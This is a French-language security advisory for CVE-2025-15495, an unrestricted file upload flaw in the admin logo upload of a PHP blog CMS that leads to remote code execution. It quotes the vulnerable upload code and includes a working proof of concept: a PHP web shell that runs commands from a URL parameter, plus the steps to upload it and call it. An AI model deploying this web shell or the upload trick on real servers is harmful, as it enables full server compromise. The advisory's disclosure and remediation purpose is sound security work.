CVE-2025-15495 - Téléchargement Arbitraire de Fichier Conduisant à une Exécution de Code à Distance (RCE)

Produit

BiggiDroid – Simple PHP Blog CMS Page produit : https://biggidroid.com/product/simple-php-blog/

Type de vulnérabilité

• Téléchargement arbitraire de fichier
• Téléchargement de fichier sans restriction
• Exécution de code à distance (RCE)

Sévérité

Critique

CVSS (estimé) : 9.8 (AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H)

Résumé

Le Simple PHP Blog CMS contient une vulnérabilité de téléchargement de fichier sans restriction dans la fonctionnalité de téléchargement du logo du site du panneau d’administration. Un attaquant authentifié peut télécharger un fichier PHP malveillant déguisé en image, qui est stocké dans un répertoire accessible via le web et exécuté par le serveur, entraînant une exécution de commande à distance.

Composant affecté

Panneau d’administration → Mise à jour du logo du site

Extrait de code vulnérable concerné :

$target = "../image/".basename($_FILES['image']['name']);
$image = $_FILES['image']['name'];

$query = mysqli_query($con,
"UPDATE sitedetails SET sitelogo='$image' WHERE id='$id'");

if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
    // succès
}

Problèmes

• Aucune validation de l’extension de fichier
• Aucune validation du type MIME
• Aucune vérification du contenu du fichier côté serveur

Preuve de concept (PoC)

Créer un fichier PHP malveillant

Créez un fichier nommé shell.php :

<?php
$cmd = $_GET['cmd'] ?? '';
echo "<pre>";
system($cmd);
echo "</pre>";
?>

Télécharger le fichier via le panneau d’administration

• Connectez-vous au panneau d’administration
• Naviguez vers Logo du site → Mettre à jour le logo
• Téléchargez shell.php comme fichier logo
• Soumettez le formulaire

📌 L’application accepte le fichier PHP sans validation

Accéder au shell web téléchargé

Après le téléchargement, le fichier est accessible à :

http://127.0.0.1/image/shell.php

Exécutez des commandes système :

http://127.0.0.1/image/shell.php?cmd=dir

Exécution de commande réussie

Le serveur exécute les commandes du système d’exploitation et renvoie la sortie, confirmant l’exécution de code à distance.

Preuve de concept

1. Page produit
2. Téléchargez le shell depuis cet emplacement.
3. Shell PHP
4. Exécution de code à distance
5. Code vulnérable

Impact

Un attaquant peut :

• Exécuter des commandes système arbitraires
• Lire des fichiers de configuration sensibles
• Modifier ou supprimer des données d’application
• Télécharger des portes dérobées persistantes
• Compromettre complètement le serveur d’hébergement

Cette vulnérabilité peut conduire à une prise de contrôle complète du serveur.

Analyse de la cause racine

• Absence de liste blanche d’extensions de fichiers
• Aucune application du type MIME
• Utilisation directe du nom de fichier fourni par l’utilisateur
• Le répertoire de téléchargement permet l’exécution de PHP
• Aucun fichier .htaccess / durcissement du serveur

✅ Corrections recommandées

1. Restreindre les extensions de fichiers

   root@kitploit:~

   $allowed = ['jpg','jpeg','png','gif'];
   

2. Valider le type MIME

   root@kitploit:~

   finfo_file()
   

3. Renommer les fichiers téléchargés

   • Utiliser des UUID aléatoires
   • Ne jamais faire confiance aux noms de fichiers utilisateur

📚 Références

• OWASP Téléchargement de fichier sans restriction
• CWE-434 : Téléchargement sans restriction de fichier de type dangereux
• OWASP Top 10 – A03 : Injection

🧑‍💻 Découvert par

• Mo Asim également connu sous le nom de Asim Qazi
• Github : @Asim-Qazi
• Linkedin : Asim Qazi
• Étudiant | Chercheur en sécurité